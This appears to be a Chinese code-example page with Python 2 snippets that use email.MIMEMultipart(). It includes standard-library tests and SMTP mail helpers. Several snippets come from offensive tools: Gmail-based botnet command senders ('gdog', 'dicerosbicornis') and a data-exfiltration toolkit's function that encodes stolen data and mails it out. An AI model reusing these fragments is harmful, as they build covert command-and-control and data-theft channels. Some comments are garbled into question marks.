我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用email.MIMEMultipart()。
def test_mime_attachments_in_constructor(self): eq = self.assertEqual text1 = MIMEText('') text2 = MIMEText('') msg = MIMEMultipart(_subparts=(text1, text2)) eq(len(msg.get_payload()), 2) eq(msg.get_payload(0), text1) eq(msg.get_payload(1), text2) # A general test of parser->model->generator idempotency. IOW, read a message # in, parse it into a message object tree, then without touching the tree, # regenerate the plain text. The original text and the transformed text # should be identical. Note: that we ignore the Unix-From since that may # contain a changed date.
def test__all__(self): module = __import__('email') all = module.__all__ all.sort() self.assertEqual(all, [ # Old names 'Charset', 'Encoders', 'Errors', 'Generator', 'Header', 'Iterators', 'MIMEAudio', 'MIMEBase', 'MIMEImage', 'MIMEMessage', 'MIMEMultipart', 'MIMENonMultipart', 'MIMEText', 'Message', 'Parser', 'Utils', 'base64MIME', # new names 'base64mime', 'charset', 'encoders', 'errors', 'generator', 'header', 'iterators', 'message', 'message_from_file', 'message_from_string', 'mime', 'parser', 'quopriMIME', 'quoprimime', 'utils', ])
def sendmail(to_list,subject,content): # translation me = mail_user+"<"+mail_user+"@"+mail_postfix+">" msg = MIMEMultipart('related') msg['Subject'] = email.Header.Header(subject,'utf-8') msg['From'] = me msg['To'] = ";".join(to_list) msg.preamble = 'This is a multi-part message in MIME format.' msgAlternative = MIMEMultipart('alternative') msgText = MIMEText(content, 'plain', 'utf-8') msgAlternative.attach(msgText) msg.attach(msgAlternative) try: s = smtplib.SMTP() s.connect(mail_host) s.login(mail_user,mail_pwd) s.sendmail(me, to_list, msg.as_string()) s.quit() except Exception,e: print e return False return True
def sendhtmlmail(to_list,subject,content): # translation me = mail_user+"<"+mail_user+"@"+mail_postfix+">" msg = MIMEMultipart('related') msg['Subject'] = email.Header.Header(subject,'utf-8') msg['From'] = me msg['To'] = ";".join(to_list) msg.preamble = 'This is a multi-part message in MIME format.' msgAlternative = MIMEMultipart('alternative') msgText = MIMEText(content, 'html', 'utf-8') msgAlternative.attach(msgText) msg.attach(msgAlternative) try: s = smtplib.SMTP() s.connect(mail_host) s.login(mail_user,mail_pwd) s.sendmail(me, to_list, msg.as_string()) s.quit() except Exception,e: print e return False return True
def __init__(self, user, passwd, smtp,port,usettls=False): self.mailUser = user self.mailPassword = passwd self.smtpServer = smtp self.smtpPort = port if usettls: smtp_class = smtplib.SMTP_SSL else: smtp_class = smtplib.SMTP self.mailServer = smtp_class(self.smtpServer, self.smtpPort) self.mailServer.ehlo() self.mailServer.login(self.mailUser, self.mailPassword) self.msg = MIMEMultipart() #????????mailserver
def reinitMailInfo(): self.msg = MIMEMultipart() #????????????????????????html??plain????????????
def test_make_boundary(self): msg = MIMEMultipart('form-data') # Note that when the boundary gets created is an implementation # detail and might change. self.assertEqual(msg.items()[0][1], 'multipart/form-data') # Trigger creation of boundary msg.as_string() self.assertEqual(msg.items()[0][1][:33], 'multipart/form-data; boundary="==') # XXX: there ought to be tests of the uniqueness of the boundary, too.
def test_mime_attachments_in_constructor(self): eq = self.assertEqual text1 = MIMEText('') text2 = MIMEText('') msg = MIMEMultipart(_subparts=(text1, text2)) eq(len(msg.get_payload()), 2) eq(msg.get_payload(0), text1) eq(msg.get_payload(1), text2)
def test_default_multipart_constructor(self): msg = MIMEMultipart() self.assertTrue(msg.is_multipart()) # A general test of parser->model->generator idempotency. IOW, read a message # in, parse it into a message object tree, then without touching the tree, # regenerate the plain text. The original text and the transformed text # should be identical. Note: that we ignore the Unix-From since that may # contain a changed date.
def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]): if (botid is None) or (jobid is None): sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") sub_header = 'gdog:{}:{}'.format(botid, jobid) msg = MIMEMultipart() msg['From'] = sub_header msg['To'] = gmail_user msg['Subject'] = sub_header msgtext = json.dumps({'cmd': cmd, 'arg': arg}) msg.attach(MIMEText(str(infoSec.Encrypt(msgtext)))) for attach in attachment: if os.path.exists(attach) == True: part = MIMEBase('application', 'octet-stream') part.set_payload(open(attach, 'rb').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) msg.attach(part) mailServer = SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(gmail_user,gmail_pwd) mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) mailServer.quit() print "[*] Command sent successfully with jobid: {}".format(jobid)
def send(data): mail_server = SMTP() mail_server.connect(server, server_port) mail_server.starttls() mail_server.login(gmail_user, gmail_pwd) msg = MIMEMultipart() msg['From'] = gmail_user msg['To'] = gmail_user msg['Subject'] = "det:toolkit" msg.attach(MIMEText(base64.b64encode(data))) app_exfiltrate.log_message( 'info', "[gmail] Sending {} bytes in mail".format(len(data))) mail_server.sendmail(gmail_user, gmail_user, msg.as_string())
def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]): if (botid is None) or (jobid is None): sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") sub_header = 'dicerosbicornis:{}:{}'.format(botid, jobid) msg = MIMEMultipart() msg['From'] = sub_header msg['To'] = mail_user msg['Subject'] = sub_header msgtext = json.dumps({'cmd': cmd, 'arg': arg}) msg.attach(MIMEText(str(infoSec.Encrypt(msgtext)))) for attach in attachment: if os.path.exists(attach) == True: part = MIMEBase('application', 'octet-stream') part.set_payload(open(attach, 'rb').read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) msg.attach(part) mailServer = SMTP() mailServer.connect(server, server_port) mailServer.starttls() mailServer.login(mail_user, mail_pwd) mailServer.sendmail(mail_user, mail_user, msg.as_string()) mailServer.quit() print "[*] Command sent successfully with jobid: {}".format(jobid)
def send(data): mail_server = SMTP() mail_server.connect(server, server_port) mail_server.starttls() mail_server.login(gmail_user, gmail_pwd) msg = MIMEMultipart() msg['From'] = gmail_user msg['To'] = gmail_user msg['Subject'] = "det:toolkit" data = app_exfiltrate.xor(data) msg.attach(MIMEText(base64.b64encode(data))) app_exfiltrate.log_message( 'info', "[gmail] Sending {} bytes in mail".format(len(data))) mail_server.sendmail(gmail_user, gmail_user, msg.as_string())